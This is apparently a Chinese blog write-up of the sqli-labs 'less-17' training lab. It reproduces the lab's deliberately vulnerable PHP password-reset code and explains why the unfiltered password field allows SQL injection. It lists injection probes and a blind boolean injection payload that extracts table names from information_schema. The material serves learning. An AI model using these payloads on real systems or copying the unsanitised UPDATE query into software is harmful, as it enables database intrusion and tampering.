less-17
阿新 • • 發佈:2021-01-09
less-17
基本測試
admin' or 1=1
admin') or 1=1
admin" or 1=1
admin") or 1=1
羞辱的回答
okok 檢視原始碼
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { //making sure uname is not injectable $uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; // connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>"; if (mysql_error()) { echo '<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo "</br></br>"; echo "</font>"; } else { echo '<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo "<br>"; echo "</font>"; } echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo "</br>"; echo '<img src="../images/slap1.jpg" />'; echo "</font>"; } } ?>
關鍵函式解釋
intval() 函式用於獲取變數的整數值。(函式通過使用指定的進位制 base 轉換(預設是十進位制),返回變數 var 的 integer 數值。 intval() 不能用於 object,否則會產生 E_NOTICE 錯誤並返回 1。)
get_magic_quotes_gpc() 函式是一個用來判斷是否為使用者提供的資料增加斜線了,這個在php.ini配置檔案中
// 去除斜槓
if(get_magic_quotes_gpc())
{
$value= stripslashes($value);
}
發現並不是通過第一句可以簡單的完成sql 注入
但是在判斷使用者名稱正確後對後面的修改操作卻某座限制 百密一疏
-
sql 注入的預防
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
原來如此
但是不得不承認是讀原始碼得出的sql注入
現在可用sql注入的盲注的方式修改密碼
admin' where 1=1 and 1=1#
UPDATE users SET password = 'passwd' WHERE (if(((select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1) )='a'),1,"'"))
苦思冥想的sql語句
python 指令碼自己產找less -10